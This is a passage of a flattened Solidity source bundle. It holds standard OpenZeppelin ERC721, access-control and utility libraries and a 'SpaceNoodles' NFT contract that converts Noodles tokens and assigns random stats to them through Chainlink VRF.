perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; contract SpaceNoodles is ERC721Enumerable, IERC721Receiver, VRFConsumerBaseV2, ReentrancyGuard, AccessControl { IERC721 public immutable NOODLES; VRFCoordinatorV2Interface public immutable COORDINATOR; LinkTokenInterface public immutable LINKTOKEN; bytes32 public constant SUPPORT_ROLE = keccak256("SUPPORT"); bytes32 public constant RANK_WRITER_ROLE = keccak256("RANK_WRITER"); uint64 public s_subscriptionId; bytes32 public s_keyHash; uint32 public s_callbackGasLimit = 2500000; uint16 public s_requestConfirmations = 3; function setSubscriptionId(uint64 _subscriptionId) external onlyRole(SUPPORT_ROLE) { s_subscriptionId = _subscriptionId; } function setKeyHash(bytes32 _keyHash) external onlyRole(SUPPORT_ROLE) { s_keyHash = _keyHash; } function setCallbackGasLimit(uint32 _callbackGasLimit) external onlyRole(SUPPORT_ROLE) { s_callbackGasLimit = _callbackGasLimit; } function setRequestConfirmations(uint16 _requestConfirmations) external onlyRole(SUPPORT_ROLE) { s_requestConfirmations = _requestConfirmations; } constructor( address _noodles, address _vrfCoordinator, address _link, bytes32 _keyHash, uint64 _subscriptionId ) ERC721("Space Noodles", "SNOODLE") VRFConsumerBaseV2(_vrfCoordinator) { NOODLES = IERC721(_noodles); COORDINATOR = VRFCoordinatorV2Interface(_vrfCoordinator); LINKTOKEN = LinkTokenInterface(_link); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(SUPPORT_ROLE, msg.sender); s_subscriptionId = _subscriptionId; s_keyHash = _keyHash; } string private baseURI; function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string memory _uri) external onlyRole(SUPPORT_ROLE) { baseURI = _uri; } uint8[] public DICE_ROLL = [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,6,6,6,6,7,7,8]; uint256 public constant BITS_PER_TRAIT = 8; uint256 public constant NUM_TRAITS = 5; uint256 public constant VRF_WORD_SIZE = 256; uint256 public constant BITS_PER_SEED = BITS_PER_TRAIT * NUM_TRAITS; uint256 public constant SEEDS_PER_WORD = VRF_WORD_SIZE / BITS_PER_SEED; uint256 public constant SEED_MASK = (1 << BITS_PER_SEED) - 1; struct Stats { uint8 rank; uint8 calories; uint8 MSG; uint8 spice; uint8 noodity; uint8 slurp; } event ChangedStats( uint256 indexed _tokenId ); event ProcessBatch( uint256 _requestId ); mapping(uint256 => Stats) public tokenStats; mapping(uint256 => uint256[]) public batches; mapping(uint256 => uint256) public vrfRequestIdToBatchId; uint256 public batchCount; uint256 public minBatchSize = 15; uint256 public maxBatchSize = 30; bool public launchingActive; bool public dockingActive; function setMinBatchSize(uint256 _minBatchSize) external onlyRole(SUPPORT_ROLE) { minBatchSize = _minBatchSize; if (minBatchSize > maxBatchSize) { maxBatchSize = minBatchSize; } } function setMaxBatchSize(uint256 _maxBatchSize) external onlyRole(SUPPORT_ROLE) { maxBatchSize = _maxBatchSize; if (minBatchSize > maxBatchSize) { minBatchSize = maxBatchSize; } } function setLaunchingActive(bool _launchingActive) external onlyRole(SUPPORT_ROLE) { launchingActive = _launchingActive; } function setDockingActive(bool _dockingActive) external onlyRole(SUPPORT_ROLE) { dockingActive = _dockingActive; } function _createSpaceShip(address to, uint256 tokenId) internal { batches[batchCount].push(tokenId); _safeMint(to, tokenId); } function onERC721Received(address, address from, uint256 tokenId, bytes memory data) public virtual override nonReentrant returns (bytes4) { if (msg.sender == address(NOODLES)) { require(launchingActive, "Launching not active."); if (!_exists(tokenId)) { _createSpaceShip(from, tokenId); if ((data.length == 0 && batches[batchCount].length >= minBatchSize) || batches[batchCount].length >= maxBatchSize) { _processBatch(); } } else { _safeTransfer(address(this), from, tokenId, ""); } } else if (msg.sender == address(this)) { require(dockingActive, "Docking not active."); NOODLES.safeTransferFrom(address(this), from, tokenId); } else { revert("Noodles and Space Noodles only."); } return this.onERC721Received.selector; } function launchMany(uint[] calldata tokenIds) external { for (uint256 i = 0; i < tokenIds.length; i++) { NOODLES.safeTransferFrom(msg.sender, address(this), tokenIds[i], "skip"); // skip batch check in onERC721Received } if (batches[batchCount].length >= minBatchSize) { _processBatch(); } } function dockMany(uint[] calldata tokenIds) external { for (uint256 i = 0; i < tokenIds.length; i++) { safeTransferFrom(msg.sender, address(this), tokenIds[i]); } } function rescueNoodle(address to, uint256 tokenId) external onlyRole(SUPPORT_ROLE) { if (!_exists(tokenId) || ownerOf(tokenId) == address(this)) { // Noodle stuck in this contract NOODLES.safeTransferFrom(address(this), to, tokenId); } else if (ownerOf(tokenId) == address(NOODLES)) { // Space Noodle stuck in Noodles contract _safeTransfer(address(NOODLES), to, tokenId, ""); } else { revert("Only allowed in rescue scenarios."); } } function _ceil(uint256 a, uint256 m) internal pure returns (uint256) { return (a + m - 1) / m; } function _processBatch() internal returns (uint256) { uint32 numWords = uint32(_ceil(batches[batchCount].length, SEEDS_PER_WORD)); uint256 requestId = COORDINATOR.requestRandomWords(s_keyHash, s_subscriptionId, s_requestConfirmations, s_callbackGasLimit, numWords); vrfRequestIdToBatchId[requestId] = batchCount; batchCount++; emit ProcessBatch(requestId); return requestId; } function flushBatch() external nonReentrant onlyRole(SUPPORT_ROLE) returns (uint256) { return _processBatch(); } function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override { uint256 batchId = vrfRequestIdToBatchId[requestId]; uint256 batchSize = batches[batchId].length; for (uint256 i; i < batchSize; i++) { uint256 j = i / SEEDS_PER_WORD; uint256 seed = randomWords[j] & SEED_MASK; uint256 tokenId = batches[batchId][i]; tokenStats[tokenId] = _computeStats(seed); emit ChangedStats(tokenId); randomWords[j] >>= BITS_PER_SEED; } } function _computeStats(uint256 seed) internal view returns (Stats memory) { return Stats({ rank: 1, calories: DICE_ROLL[uint8(seed)], MSG: DICE_ROLL[uint8(seed >> BITS_PER_TRAIT)], spice: DICE_ROLL[uint8(seed >> (BITS_PER_TRAIT * 2))], noodity: DICE_ROLL[uint8(seed >> (BITS_PER_TRAIT * 3))], slurp: DICE_ROLL[uint8(seed >> (BITS_PER_TRAIT * 4))] }); } function withdraw() external onlyRole(DEFAULT_ADMIN_ROLE) { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol) pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns 